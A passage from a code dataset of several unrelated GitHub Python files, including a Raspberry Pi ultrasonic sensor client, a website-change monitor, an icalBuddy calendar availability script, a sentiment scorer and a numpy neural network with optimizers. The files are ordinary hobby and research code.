cv2.boundingRect(largest_contour)\r\n            center_x = x + w // 2\r\n            center_y = y + h // 2\r\n            center = (center_x, center_y)\r\n\r\n            find_path(center, centerIMG)\r\n            time.sleep(0.5)\r\n        if not show_box:\r\n            break\r\n\r\n\r\nif __name__ == '__main__':\r\n    navigate()\r\n","repo_name":"MorsyB/Window-Detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36245939727","text":"from __future__ import division\nimport RPi.GPIO as GPIO\nimport socket,time\n\nip = '192.168.43.160'\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_address = (ip, 3445)\nsock.connect(server_address)\nprint(\"sensor connected... port : 3445\")\n\n\nGPIO.setmode(GPIO.BOARD)\ntry :\n    trig = 18\n    echo = 16\n    GPIO.setup(trig, GPIO.OUT)\n    GPIO.setup(echo, GPIO.IN)\n    print(\"Ultra\")\n    while True:\n        GPIO.output(trig, False)\n        time.sleep(0.5)\n        GPIO.output(trig, True)\n        time.sleep(0.00001)\n        GPIO.output(trig, False)\n\n        while GPIO.input(echo) == 0:\n            pulse_start = time.time()\n        while GPIO.input(echo) == 1:\n            pulse_end = time.time()\n\n        pulse_duration = pulse_end - pulse_start\n        distance = pulse_duration * 17000\n        distance = round(distance, 2)\n        if (distance < 14):\n            sock.send(\"stop\".encode())\n            print(\"Obstacle detect!\")\n        else:\n            sock.send(\"gogo\".encode())\n        print(\"distance : \", distance)\n\nexcept :\n        GPIO.cleanup()\n\n","repo_name":"qjadud1994/Alpha-Car","sub_path":"Raspberrypi_sensor/Ultra.py","file_name":"Ultra.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"16"}
+{"seq_id":"74736159368","text":"import neat\n\nfrom Game.game import Game\n\n\nclass NEAT:\n    def __init__(self, config_path):\n        self.config_path = config_path\n        self.population = 0\n\n    def run(self):\n        config = neat.config.Config(\n            neat.DefaultGenome,\n            neat.DefaultReproduction,\n            neat.DefaultSpeciesSet,\n            neat.DefaultStagnation,\n            self.config_path\n        )\n        self.population = neat.Population(config)\n        new_game = Game(self.population)\n        self.population.run(new_game.evaluate_genomes, 50)\n","repo_name":"raresdan/chrome-dino-ai","sub_path":"source/NEAT/neat.py","file_name":"neat.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39518564045","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport re\nimport requests\nimport json\nimport os\nimport dotenv\nimport hashlib\nimport datetime\n\n\nREAL_PATH = os.path.realpath(os.path.dirname(__file__))\nCHECKS_PATH = REAL_PATH + \"/checks.json\"\nMONITOR_PATH = REAL_PATH + \"/monitor.json\"\nENV_PATH = REAL_PATH + \"/.env\"\n\nwebhook_url = dotenv.get_key(ENV_PATH, \"WEBHOOK_URL\")\nif webhook_url == None:\n    exit()\n\ndebug = False if dotenv.get_key(ENV_PATH, \"DEBUG\") == None else dotenv.get_key(ENV_PATH, \"DEBUG\")\n\ndef remove_excessive_newlines(text):\n    return re.sub(r\"\\n{2,}\", \"\\n\", text).replace(\n        \"\\r\", \"\"\n    )  # remove excessive newlines and carriage returns\n\n\ndef get_page_text(url, html_class=\"\", html_tag=\"body\", html_id=\"\"):\n    page = urlopen(url)\n    html = page.read().decode(\"utf-8\")\n    soup = BeautifulSoup(html, \"html.parser\")\n    args = {}\n    if html_class != None and html_class.strip() != \"\":\n        args[\"class_\"] = html_class\n    if html_id != None and html_id.strip() != \"\":\n        args[\"id\"] = html_id\n    if html_tag == None or html_tag.strip() == \"\":\n        html_tag = \"body\"\n\n    return remove_excessive_newlines(soup.find(html_tag, **args).get_text())\n\n\ndef compare_and_notify(url, html_class, html_tag, name, html_id, checks):\n    out = get_page_text(url=url, html_class=html_class, html_tag=html_tag, html_id=html_id)\n    newhash = hashlib.sha256(out.strip().encode(\"UTF-8\")).hexdigest()\n    if newhash != checks[name][\"hash\"]:\n        print(\"new event\")\n        requests.post(\n            webhook_url,\n            json={\n                \"content\": f\"Hey, there could be a new event at {url} ! Have a look!\"\n            },\n        )\n        checks[name][\"hash\"] = newhash\n        checks[name][\"lastupdated\"] = datetime.datetime.now().isoformat()\n\n    write_checks(checks)\n\ndef write_checks(checks):\n    with open(CHECKS_PATH, \"w\") as f:\n        json.dump(checks, f, indent=4)\n\n\nif __name__ == \"__main__\":\n    with open(MONITOR_PATH) as f:\n        monitorlist = json.load(f)\n    try:\n        # Handle if checks.json exists or not\n        with open(CHECKS_PATH, \"r\") as f:\n            checks = json.load(f)\n    except FileNotFoundError:\n        # Initialize checks.json and exit\n        checks = {}\n        for monitor in monitorlist:\n            data = get_page_text(\n                monitor[\"url\"],\n                monitor.get(\"html_class\"),\n                monitor.get(\"html_tag\"),\n                monitor.get(\"html_id\"),\n            )\n            checks[monitor[\"name\"]] = {\n                \"hash\": hashlib.sha256(data.strip().encode(\"UTF-8\")).hexdigest(),\n                \"lastupdated\": datetime.datetime.now().isoformat(),\n            }\n        write_checks(checks)\n        exit()\n\n    for monitor in monitorlist:\n        # Check if monitor is in checks and add if it isn't\n        if monitor[\"name\"] not in checks:\n            print(monitor[\"name\"] + \"not in checks\")\n            data = get_page_text(\n                monitor[\"url\"],\n                monitor.get(\"html_class\"),\n                monitor.get(\"html_tag\"),\n                monitor.get(\"html_id\"),\n            )\n            checks[monitor[\"name\"]] = {\n                \"hash\": hashlib.sha256(data.strip().encode(\"UTF-8\")).hexdigest(),\n                \"lastupdated\": datetime.datetime.now().isoformat(),\n            }\n            write_checks(checks)\n            continue\n\n        compare_and_notify(\n            url=monitor[\"url\"],\n            html_class=monitor.get(\"html_class\"),\n            html_tag=monitor.get(\"html_tag\"),\n            name=monitor[\"name\"],\n            html_id=monitor.get(\"html_id\"),\n            checks=checks,\n        )\n","repo_name":"Z3n1thic/website_change_detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70717848327","text":"from .record import Record\n\n\nclass Catalog:\n    \"\"\" EXAMPLE CATALOG STRUCTURE\n\n    # ####### Path placeholder #########\n    # must be all caps - will be replaced if in curly braces {ANY_CAPS_NAME}\n    # Used as replacements in other entries that will be replaced at runtime\n    # ~ (tilde) can be used to represent the $HOME directory\n    DATA_PATH: ~/Desktop\n\n    # ####### Record entry ##########\n    entry_name:\n        description:\n            the description tells the user about the product and can be\n            written over mutliple lines\n        doi: \"https://doi.org/must_add_doi_URL_to_pulication\n        variables:  # makes it easier for the user to find the data they want\n            - variable_names\n            - used_for_variable_access\n        remote:\n            # URL is where the data is downloaded from.\n            # These URLs take a special syntax where {t:} denotes a date\n            # use the datetime syntax in python to fill these placeholders\n            # %Y = four digit year; %y = two digit year;\n            # %m = two digit month;\n            # %j = three digit day of the year;\n            # %d = two digit day of the month\n            url: \"http://data.com/path/year_folder_{t:%Y}/fname_{t:%Y%m}*.nc\"\n            service: \"CMEMS\"  # the name of the service on the system keyring\n            username: \"lgregor1\"  # for the service\n            password: \"cannot be defined if service is defined\"\n            port: 22001  # optional port number if required\n        # local_store is where data is cloned to\n        # remote.url and local_store must result in the same number of files\n        local_store: \"{DATA_PATH}/path/year_folder_{t:%Y}/fname_{t:%Y%m}.nc\"\n        # pipelines are currently just an idea\n        # SHOULD allow the user to access PROCESSED data at the given location.\n        # if that data does not exist then process or download the data\n        pipelines:  # not compulsory\n            mon_1deg:  # this is the name of the pipeline - this is NB\n                data_path: \"{DATA_PATH}/project/{t:%Y}/fname_{t:%Y%m}.nc\"\n                functions:  # functions applied to the pipeline xds --> xds\n                    - package.module.function1\n                    - package.module.function2\n    \"\"\"\n\n    def __init__(self, catalog_file='./config_template.yaml', verbose=1):\n        \"\"\"\n        Creates an interactive catalog to access data locally.\n        If not present, data is downloaded from given URL.\n\n        Parameters\n        ==========\n        catalog_file: str\n            A YAML file with the input configuration. See the\n            config_template.yaml for more information.\n        verbose: int\n            sets the verbosity of the operations\n            0 = silent\n            1 = basic outputs\n            2 = very verbose with many outputs\n\n        Returns\n        =======\n        Catalog object with Records, where a record contains the information\n        given in the config.yaml file\n        \"\"\"\n        from .config import read_catalog\n\n        self.verbose = verbose\n        self._config_dict = read_catalog(catalog_file)\n        self._create_records()\n        self.VARS = VariableAccess(self)\n\n    def _create_records(self):\n        \"\"\"\n        Runs through the catalog dictionary (YAML file)\n        and creates an instance for each catalog entry (record)\n        \"\"\"\n        for key in self._config_dict.keys():\n            record = Record(key, self._config_dict[key], verbose=self.verbose)\n            setattr(self, key, record)\n\n    def __str__(self):\n        import re\n\n        out = ''\n        txt = 'Your Catalog contains the following Records'\n        b = '='\n        out += f'{txt}\\n{b:=>{len(txt)}}\\n'\n        for key in self._config_dict.keys():\n            record = getattr(self, key, None)\n            if record is None:\n                continue\n\n            scheme = record.config.remote.url.parsed.scheme.upper()\n            variables = re.sub(r\"['()]\", '', str(record.config.variables))\n            out += f'{key: <15} {scheme: <8}{variables}\\n'\n\n        out += '\\nAccess all local paths via keywords through dataBrewery.MENU'\n        return out\n\n\nclass VariableAccess:\n    \"\"\"\n    Used to access records by variable rather than the record name\n    This is useful for later access when you might have forgotten\n    what record names mean.\n    \"\"\"\n\n    def __init__(self, catalog):\n        from collections import defaultdict\n        from .utils import DictObject\n\n        record_names = catalog._config_dict.keys()\n        records = [getattr(catalog, k) for k in record_names]\n\n        keywords = defaultdict(dict)\n        for record in records:\n            for kw in record.config.variables:\n                keywords[kw].update({record.name: record})\n\n        self._kw = keywords\n        for kw in keywords:\n            setattr(self, kw, DictObject(keywords[kw]))\n\n    def __repr__(self):\n        out = ''\n        keys = sorted(self._kw.keys())\n        out += 'Record NAME       DATASET\\n'\n        rule = '-' * len(out) + '\\n'\n        out += rule\n        for key in keys:\n            val = self._kw[key]\n            out += f'{key.upper(): <20}'\n            for v in val:\n                out += f'{v}, '\n            out += '\\n'\n        out += rule\n        return out\n","repo_name":"lukegre/dataBrewery","sub_path":"databrewery/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16686071","text":"#!/usr/bin/env \n\"\"\"\nService: availa_buddy\nVersion: 1.0.0\nAuthor: Ryan McDonald\nDate: June 7, 2023\nPython version: 3.11.3\nicalBuddy version: 1.10.1\nDescription: This script checks user's availability and scheduled events for \n            the current day and a user defined number of days after\n            It uses the MacOs 'icalBuddy' command line utility to fetch this \n            information from the user's apple calendar.app.\n\"\"\"\n\nfrom subprocess import check_output as icalBuddy\nfrom subprocess import CalledProcessError\nimport re\nfrom datetime import datetime, timedelta, date\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\nDEBUG = False\n\ndef preflight():\n    \"\"\"\n    Checks brew for the ical-buddy(icalBuddy) command line utility.\n    \n    Returns:\n        If ical-buddy is not installed, it instructs user to install it.\n    \"\"\"\n    buddy_check = icalBuddy(\"brew list | grep ical-buddy\", shell=True, text=True)\n    if buddy_check == \"ical-buddy\\n\":\n        return\n    else:\n        # You gotta have your buddy!\n        print(\"Your buddy is missing! You can install ical-buddy by running: \")\n        print(\"brew install ical-buddy\")\n        exit()\n\n\ndef user_choice(forecast):\n    \"\"\"\n    Prompts the user to enter a choice and validates the input.\n    \n    The user must enter either 1 or 2. If the input is invalid (not a number or\n    a number other than 1 or 2), the function will continue to prompt the user\n    until a valid input is received.\n    \n    Returns:\n        int: The user's choice (either 1 or 2).\n    \"\"\"\n    while True:  # Continue prompting until a valid input is received\n        try:\n            # Prompt the user for their choice\n            print(\"What would you like to see?\")\n            choice = int(input(f\"1. See availability for the next {forecast} days. \\n2. See scheduled items for the next {forecast} days.  \"))\n            # If the input is not 1 or 2, display an error message\n            if choice not in [1, 2]:\n                print(\"Invalid input. Please enter 1 or 2.\")\n                continue  # Skip the rest of the loop and start the next iteration\n        except ValueError:  # Raised if the input cannot be converted to an integer\n            print(\"Invalid input. Please enter a number.\")\n            continue  # Skip the rest of the loop and start the next iteration\n        break  # If we've gotten this far, the input is valid, so we can break the loop\n    return choice\n\n\ndef forecast_window():\n    \"\"\"\n    Prompts the user to enter a choice and validates the input.\n    \n    The user must enter either 1 or 2. If the input is invalid (not a number or\n    a number other than 1 or 2), the function will continue to prompt the user\n    until a valid input is received.\n    \n    Returns:\n        int: Number of days to forecast (between 1 and 90).\n    \"\"\"\n    days = int(input(\"Check schedule for the next how many days? [1-90] \"))\n    while True:  # Continue prompting until a valid input is received\n        try:\n            if days not in range(1, 91):\n                # Prompt the user for their range\n                print(\"Invalid input. Please enter a number between 1 or 90.\")\n                continue  # Skip the rest of the loop and start the next iteration\n        except ValueError:  # Raised if the input cannot be converted to an integer\n            print(\"Invalid input, must be integer. Please enter a number between 1 or 90\")\n            continue  # Skip the rest of the loop and start the next iteration\n        break\n    return days\n\n\ndef convert_to_date(event_date):\n    \"\"\"\n    Convert a date string into a date object.\n\n    Args:\n        event_date (str): String representing a date.\n\n    Returns:\n        date: Date object corresponding to the input string.\n    \"\"\"\n    if event_date == \"today\":\n        return date.today()\n    elif event_date == \"tomorrow\":\n        return date.today() + timedelta(days=1)\n    elif event_date == \"day after tomorrow\":\n        return date.today() + timedelta(days=2)\n    else:\n        return datetime.strptime(event_date, \"%b %d, %Y\").date()\n\n\ndef process_availability(input_lines):\n    \"\"\"\n    Process the availability from the icalBuddy output lines.\n\n    Args:\n        input_lines (list): Lines of output from icalBuddy command.\n    \"\"\"\n    event_pattern = r'\\s+(.+?) at (\\d{1,2}:\\d{2} [AP]M) - (\\d{1,2}:\\d{2} [AP]M)'\n    # title_pattern = r'.\\s(.+)'\n    busy_slots = []\n    current_day = \"\"\n\n    \n    if DEBUG:\n        for event_title in input_lines[::2]:\n            title = event_title\n            logging.debug(title)\n\n    for event_line in input_lines[1::2]:\n        match = re.match(event_pattern, event_line)\n        if DEBUG:\n            logging.debug(f\"line1: {event_line}\")\n            logging.debug(f\"match1: {match.group(1)}\")\n\n        if match:\n            event_date = convert_to_date(match.group(1).strip())\n            event_start_time = datetime.strptime(match.group(2), \"%I:%M %p\").time()\n            event_end_time = datetime.strptime(match.group(3), \"%I:%M %p\").time()\n\n            if DEBUG:\n                logging.debug(f\"Matched line: {event_line.strip()}\")\n                logging.debug(f\"Extracted details: {event_title}, {event_date}, {event_start_time}, {event_end_time}\")\n\n            if event_date != current_day:\n                if current_day and busy_slots:\n                    print_availability(current_day, busy_slots)\n\n                current_day = event_date\n                busy_slots = []\n\n            if event_date.weekday() < 5:\n                busy_slots.append((event_start_time, event_end_time))\n\n    if current_day and busy_slots:\n        print_availability(current_day, busy_slots)\n\n\ndef print_availability(day, busy_slots, start_of_day=\"8:00 AM\", end_of_day=\"5:00 PM\"):\n    \"\"\"\n    Prints the availability for a specific day.\n\n    Args:\n    day (str): Day for which to print availability.\n    busy_slots (list): List of tuples representing busy timeslots.\n    start_of_day (str): String representing the start of the day.\n    end_of_day (str): String representing the end of the day.\n    \"\"\"\n    print(f\"Availability for {day.strftime('%m/%d/%Y')}:\")\n    available_start_time = datetime.strptime(start_of_day, \"%I:%M %p\").time()\n    end_of_day = datetime.strptime(end_of_day, \"%I:%M %p\").time()\n    \n    for busy_slot in sorted(busy_slots):\n        if available_start_time < busy_slot[0]:\n            print(f\"    Available: {available_start_time} - {busy_slot[0]}\")\n\n        available_start_time = max(available_start_time, busy_slot[1])\n\n    if available_start_time < end_of_day:\n        print(f\"    Available: {available_start_time} - {end_of_day}\")\n\ndef availability(forecast):\n    \"\"\"\n    Fetches and returns the user's availability for the forecasted number of days.\n    \n    Args:\n        forecast_window (int): Number of days to fetch the availability for.\n\n    Returns:\n        str: Output of the icalBuddy command containing the user's availability.\n    \"\"\"\n    try:\n        command = f\"icalBuddy -npn -nc -iep 'title,datetime' eventsToday+{forecast}\"\n        output = icalBuddy(command, shell=True, text=True)\n        logging.debug(output)\n        return output\n    except CalledProcessError as e:\n        logging.error(f'Error executing command {command}. Details: {str(e)}')\n        return\n\ndef obligations(forecast):\n    \"\"\"\n    Fetches and prints the user's scheduled events for the forecasted number of days.\n    \n    Args:\n        forecast_window (int): Number of days to fetch the events for.\n    \"\"\"\n    try:\n        command = f\"icalBuddy -npn -nc -f -sd -ps '/ >> /' -iep 'title,datetime' eventsToday+{forecast}\"\n        output = icalBuddy(command, shell=True, text=True)\n        logging.info(output)\n        return\n    except CalledProcessError as e:\n        logging.error(f'Error executing command {command}. Details: {str(e)}')\n        return\n\n\ndef main():\n    # run preflight checks\n    preflight()\n    # usage\n    forecast = forecast_window()\n    choice = user_choice(forecast)\n    \n    if choice == 1:\n        input_lines = availability(forecast).splitlines()\n        process_availability(input_lines)\n        pass\n    elif choice == 2:\n        obligations(forecast)\n        pass\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"usmc0341/availa-buddy","sub_path":"availa_buddy.py","file_name":"availa_buddy.py","file_ext":"py","file_size_in_byte":8217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14220254698","text":"import random\n\n# For loop\n\nsum = 0\nfor x in range(1, 101):\n  if x % 2 == 0:\n    sum += x\nprint(sum)\n\nimport random\n\n\n# While loop\nanswer = random.randint(1, 100)\ncounter = 0\nwhile False:\n    counter += 1\n    number = int(input('请输入: '))\n    if number < answer:\n        print('大一点')\n    elif number > answer:\n        print('小一点')\n    else:\n        print('恭喜你猜对了!')\n        break\nprint('你总共猜了%d次' % counter)\nif counter > 7:\n    print('你的智商余额明显不足')\n\n\nrow = int(input('请输入行数: '))\nfor i in range(row):\n    for _ in range(row - i - 1):\n        print(' ', end='')\n    for _ in range(2 * i + 1):\n        print('*', end='')\n    print()","repo_name":"NanJiang327/Python","sub_path":"basic/day01-04/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21072104432","text":"import sys\nimport os\nimport json\nfrom collections import defaultdict\n\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n\n\ndef get_vader_sentiment_scores(snippets):\n    '''\n    Returns list of tuples (speaker_id, vader_compound_score) with length equal\n    to the total number of speaker turns (length of snippets).\n\n    VADER sentiment scoring:\n        positive sentiment: compound score >= 0.05\n        neutral sentiment: (compound score > -0.05) and (compound score < 0.05)\n        negative sentiment: compound score <= -0.05\n    '''\n    analyzer = SentimentIntensityAnalyzer()\n    speaker_sentiments = []\n\n    for speaker_turn in snippets:\n        content = speaker_turn['content']\n        if \"[\" in content:\n            content = content[:content.index(\"[\")] + content[content.index(\"]\")+1:]\n        sentiment = analyzer.polarity_scores(content)\n        speaker_sentiments.append((speaker_turn[\"speaker_id\"], sentiment[\"compound\"]))\n\n    return speaker_sentiments\n\ndef parse_emolex(path_to_emolex='./data/emotion_lexicons'):\n    \"\"\"\n    Returns:\n        word2sentiments: dict\n            key: str\n            value: set of strs\n        word2emotions: dict\n            key: str\n            value: set of strs\n    \"\"\"\n    FP = os.path.join(path_to_emolex, 'NRC-Emotion-Lexicon-v0.92/NRC-Emotion-Lexicon-Wordlevel-v0.92.txt')\n\n    word2sentiments = defaultdict(set)\n    word2emotions = defaultdict(set)\n    f = open(FP, 'r')\n    for i, line in enumerate(f.readlines()):\n        if i > 1:\n            # line: 'abandoned\\tanger\\t1\\n',\n            word, emotion, flag = line.strip('\\n').split('\\t')\n            if int(flag) == 1:\n                if emotion == 'positive' or emotion == 'negative':\n                    word2sentiments[word].add(emotion)\n                else:\n                    word2emotions[word].add(emotion)\n    f.close()\n\n    return word2sentiments, word2emotions\n\ndef get_emolex_scores(snippets, word2sentiments, word2emotions):\n    '''\n    Returns list of tuples (speaker_id, emotion_list) with length equal\n    to the total number of speaker turns (length of snippets).\n\n    emotion_list is a list of emotions that are reflected in the words of\n    that speaker turn, as determined by Emolex; it can be empty.\n    '''\n    speaker_turn_emotions = []\n\n    for speaker_turn in snippets:\n        content = speaker_turn['content']\n        if \"[\" in content:\n            content = content[:content.index(\"[\")] + content[content.index(\"]\")+1:]\n        emotions = set()\n        for word in content.split():\n            if word in word2emotions:\n                emotions.update(word2emotions[word])\n\n        speaker_turn_emotions.append((speaker_turn['speaker_id'], sorted(list(emotions))))\n\n    return speaker_turn_emotions\n\n\nif __name__ == \"__main__\":\n    json_file = sys.argv[1]\n    with open(json_file, 'r') as f:\n        snippets = json.load(f)\n    f.close()\n\n    word2sentiments, word2emotions = parse_emolex()\n    speaker_turn_emolex = get_emolex_scores(snippets, word2sentiments, word2emotions)\n    speaker_turn_vader = get_vader_sentiment_scores(snippets)\n\n    print(speaker_turn_emolex)\n    print(speaker_turn_vader)\n\n\n\n\n","repo_name":"wonjune-kang/conversation-quality","sub_path":"utils/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21117113414","text":"import numpy as np\nimport pickle as pkl\nfrom typing import List\nfrom nn_utils import *\nimport csv\nimport matplotlib.pyplot as plt\n\nclass NormalInitializer:\n    def __init__(self, mean, std_dev):\n        self._mean = mean\n        self._std_dev = std_dev\n\n    def generateWeights(self, layerSizes: List[int]):\n        return [np.random.normal(self._mean, self._std_dev, (layerSizes[i + 1], layerSizes[i])) for i in range(len(layerSizes) - 1)]\n\n    def name(self):\n        return 'Normal'\n\nclass UniformInitializer:\n    def __init__(self, lowerBound, upperBound):\n        self._lowerBound = lowerBound\n        self._upperBound = upperBound\n\n    def generateWeights(self, layerSizes: List[int]):\n        return [np.random.uniform(self._lowerBound, self._upperBound, (layerSizes[i + 1], layerSizes[i])) for i in range(len(layerSizes) - 1)]\n\n    def name(self):\n        return 'Uniform'\n\nclass XavierInitializer:\n    def generateWeights(self, layerSizes: List[int]):\n        return [np.random.normal(0, np.sqrt(2/(layerSizes[i] + layerSizes[i+1])), (layerSizes[i + 1], layerSizes[i])) for i in range(len(layerSizes) - 1)]\n\n    def name(self):\n        return 'Xavier'\n\nclass HeInitializer:\n    def __init__(self, mean, std_dev):\n        self._mean = mean\n        self._std_dev = std_dev\n\n    def generateWeights(self, layerSizes: List[int]):\n        return [np.random.normal(0, 1, (layerSizes[i + 1], layerSizes[i])) * np.sqrt(2) / np.sqrt(layerSizes[i]) for i in\n                range(len(layerSizes) - 1)]\n\n    def name(self):\n        return 'He'\n\nclass DeepNetwork:\n    def __init__(self, sizes: List[int], hidden_activation: ActivationFunction, last_activation: ActivationFunction, weightGenerator):\n        self.sizes = sizes\n        self.activations = [hidden_activation for i in range(len(sizes) - 2)]\n        self.activations.append(last_activation)\n        self.biases = [np.zeros((size, 1)) for size in sizes[1:]]\n        self.weights = weightGenerator.generateWeights(sizes)\n        self._As = []\n        self._Zs = []\n        self._W_grads = [np.zeros_like(w) for w in self.weights]\n        self._b_grads = [np.zeros_like(b) for b in self.biases]\n\n\n    def classify(self, X):\n        raw_output = self._feedforward(X)\n        Y_classified = self._predict(raw_output)\n        return Y_classified, raw_output\n\n    def _feedforward(self, X):\n        A = X\n        for (W, b, f) in zip(self.weights, self.biases, self.activations):\n            Z = W @ A + b\n            A = f.activation(Z)\n        return A\n\n    def loss(self, Y_train, Y_pred):\n        n = np.shape(Y_train)[1]\n        return np.sum((Y_train - Y_pred) ** 2) / n\n\n    def _predict(self, Y_hat):\n        return np.argmax(Y_hat, axis=0)\n\n    def accuracy(self, Y_target, Y):\n        Y = Y[:, None]\n        return np.sum(Y_target == Y) / len(Y_target)\n\n    def error(self, Y_target, Y):\n        return 1 - self.accuracy(Y_target, Y)\n\n    def _feedforward_train(self, X):\n        self._reset_cache()\n        A = X\n        self._As.append(A)\n        for (W, b, f) in zip(self.weights, self.biases, self.activations):\n            Z = W @ A + b\n            self._Zs.append(Z)\n            A = f.activation(Z)\n            self._As.append(A)\n        return A\n\n    def train(self, X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, epochs, batch_size, optimizer):\n        X_batches, Y_batches = split_into_batches(batch_size, X_train, Y_train_one)\n        train_losses = []\n        val_losses = []\n        val_errors = []\n        optimizer.initialize(self)\n        for i in range(epochs):\n            for (X_batch, Y_batch) in zip(X_batches, Y_batches):\n                optimizer.train(self, X_batch, Y_batch)\n            Y_val_hat, raw_val_output = self.classify(X_val)\n            Y_train_hat, raw_train_output = self.classify(X_train)\n            train_loss = self.loss(Y_train_one, raw_train_output)\n            val_loss = self.loss(Y_val_one, raw_val_output)\n            error = self.error(Y_val, Y_val_hat)\n            train_losses.append(train_loss)\n            val_losses.append(val_loss)\n            val_errors.append(error)\n            print(f\"Train loss: {train_loss}, Val loss: {val_loss}, Val error: {error}\")\n        return train_losses, val_losses, val_errors\n\n    def _mse_derivative(self, Y_target, Y):\n        n = np.shape(Y_target)[1]\n        return (Y_target - Y) / n\n\n    def _backpropagate(self, Y_batch):\n        n_examples = Y_batch.shape[1]\n        grad = self.activations[-1].derivative(self._Zs[-1])\n        delta = self._mse_derivative(Y_batch, self._As[-1]) * grad\n        self._W_grads[-1] = delta @ self._As[-2].T / n_examples\n        self._b_grads[-1] = np.mean(delta, axis=1, keepdims=True)\n\n        for l in range(2, len(self.sizes)):\n            grad = self.activations[-l].derivative(self._Zs[-l])\n            delta = (self.weights[-l + 1].T @ delta) * grad\n            self._W_grads[-l] = delta @ self._As[-l-1].T / n_examples\n            self._b_grads[-l] = np.mean(delta, axis=1, keepdims=True)\n\n    def reset_grads(self):\n        for w in self._W_grads:\n            w.fill(0)\n        for b in self._b_grads:\n            b.fill(0)\n\n    def _reset_cache(self):\n        self._As = []\n        self._Zs = []\n\n\nclass AdamOptimizer:\n    def __init__(self, beta1, beta2, epsilon, learning_rate):\n        self._beta1 = beta1\n        self._beta2 = beta2\n        self._learning_rate = learning_rate\n        self._epsilon = epsilon\n        self.m_weights = None\n        self.v_weights = None\n        self.m_biases = None\n        self.v_biases = None\n        self.iterations = 1\n\n    def initialize(self, network: DeepNetwork):\n        self.m_weights = []\n        self.v_weights = []\n        self.m_biases = []\n        self.v_biases = []\n        for (w, b) in zip(network.weights, network.biases):\n            self.m_weights.append(np.zeros_like(w))\n            self.v_weights.append(np.zeros_like(w))\n            self.m_biases.append(np.zeros_like(b))\n            self.v_biases.append(np.zeros_like(b))\n\n    def train(self, network: DeepNetwork, X_batch, Y_batch):\n        network._feedforward_train(X_batch)\n        network._backpropagate(Y_batch)\n        self.update_moments_and_weights(network)\n\n    def update_moments_and_weights(self, network: DeepNetwork):\n        for i in range(len(network.weights)):\n            self.m_weights[i] = self._beta1 * self.m_weights[i] + (1 - self._beta1) * network._W_grads[i]\n            self.m_biases[i] = self._beta1 * self.m_biases[i] + (1 - self._beta1) * network._b_grads[i]\n            self.v_weights[i] = self._beta2 * self.v_weights[i] + (1 - self._beta2) * np.square(network._W_grads[i])\n            self.v_biases[i] = self._beta2 * self.v_biases[i] + (1 - self._beta2) * np.square(network._b_grads[i])\n\n            m_w_hat = self.m_weights[i] / (1 - (self._beta1 ** self.iterations))\n            m_b_hat = self.m_biases[i] / (1 - (self._beta1 ** self.iterations))\n            v_w_hat = self.v_weights[i] / (1 - (self._beta2 ** self.iterations))\n            v_b_hat = self.v_biases[i] / (1 - (self._beta2 ** self.iterations))\n\n            network.weights[i] += (self._learning_rate / (np.sqrt(v_w_hat) + self._epsilon) * m_w_hat)\n            network.biases[i] += (self._learning_rate / (np.sqrt(v_b_hat) + self._epsilon) * m_b_hat)\n        self.iterations += 1\n\n    def name(self):\n        return 'Adam'\n\n\nclass SGDOptimizer:\n    def __init__(self, learning_rate):\n        self._learning_rate = learning_rate\n\n    def initialize(self, network: DeepNetwork):\n        pass\n\n    def train(self, network: DeepNetwork, X_batch, Y_batch):\n        network._feedforward_train(X_batch)\n        network._backpropagate(Y_batch)\n        self.update_weights(network)\n\n    def update_weights(self, network: DeepNetwork):\n        for i in range(len(network.weights)):\n            network.weights[i] += self._learning_rate * network._W_grads[i]\n            network.biases[i] += self._learning_rate * network._b_grads[i]\n\n    def name(self):\n        return 'SGD'\n\n\nclass MomentumOptimizer:\n    def __init__(self, gamma, learning_rate):\n        self._gamma = gamma\n        self._learning_rate = learning_rate\n        self._weights_momentum = None\n        self._biases_momentum = None\n\n    def initialize(self, network: DeepNetwork):\n        self._weights_momentum = []\n        self._biases_momentum = []\n        for (w, b) in zip(network.weights, network.biases):\n            self._weights_momentum.append(np.zeros_like(w))\n            self._biases_momentum.append(np.zeros_like(b))\n\n    def train(self, network: DeepNetwork, X_batch, Y_batch):\n        network._feedforward_train(X_batch)\n        network._backpropagate(Y_batch)\n        self.update_momentum_and_weights(network)\n\n    def update_momentum_and_weights(self, network: DeepNetwork):\n        for i in range(len(network.weights)):\n            self._weights_momentum[i] = self._gamma * self._weights_momentum[i] + self._learning_rate * network._W_grads[i]\n            self._biases_momentum[i] = self._gamma * self._biases_momentum[i] + self._learning_rate * network._b_grads[i]\n            network.weights[i] += self._weights_momentum[i]\n            network.biases[i] += self._biases_momentum[i]\n\n    def name(self):\n        return 'Momentum'\n\n\nclass AdaGradOptimizer:\n    def __init__(self, epsilon, learning_rate):\n        self._epsilon = epsilon\n        self._learning_rate = learning_rate\n        self._w_grads_square_sum = None\n        self._b_grad_square_sum = None\n\n    def initialize(self, network: DeepNetwork):\n        self._w_grads_square_sum = []\n        self._b_grad_square_sum = []\n        for (w, b) in zip(network.weights, network.biases):\n            